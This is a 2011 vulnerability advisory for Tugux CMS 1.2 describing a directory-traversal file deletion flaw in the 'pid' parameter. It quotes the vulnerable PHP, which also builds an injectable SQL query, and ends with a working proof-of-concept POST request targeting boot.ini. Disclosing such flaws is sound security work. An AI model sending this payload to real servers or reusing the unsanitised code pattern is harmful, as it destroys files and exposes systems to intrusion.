Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability
Vendor: Tugux Studios
Product web page: http://www.tugux.com
Affected version: 1.2
Summary: Tugux CMS 是一款免费开源的内容管理系统
(CMS) and application that powers the entire web.
Desc: Input passed to the 'pid' parameter in administrator/delete_page_parse.php
is not properly sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server via directory traversal
sequences passed within the 'pid' parameter.
------------------------------------------------------------------------------
/administrator/delete_page_parse.php:
------------------------------------------------------------------------------
1:
2: ///post form. data
3: $id=$_POST['pid'];
4:
5: $pic1 = ("slides/$id/image_01.jpg");
6: if (file_exists($pic1)) {
7: unlink($pic1);
8: }
9: $dir = "slides/$id";
10: rmdir($dir);
11:
12: include_once "../scripts/connect_to_mysql.php";
13: $query = mysqli_query($myConnection, "DELETE FROM pages WHERE id='$id' ") or die (mysqli_error($myConnection));
14: echo '
15:
16: Operation completed.Your page has been DELETED.
17: Click Here to go back';
18: exit();
19: ?>
------------------------------------------------------------------------------
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab
Advisory ID: ZSL-2011-5024
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php
02.04.2011
--
POST /tugux/administrator/delete_page_parse.php HTTP/1.1
Host: www.2cto.com
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
------x
Content-Disposition: form-data; name="pid"
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
------x--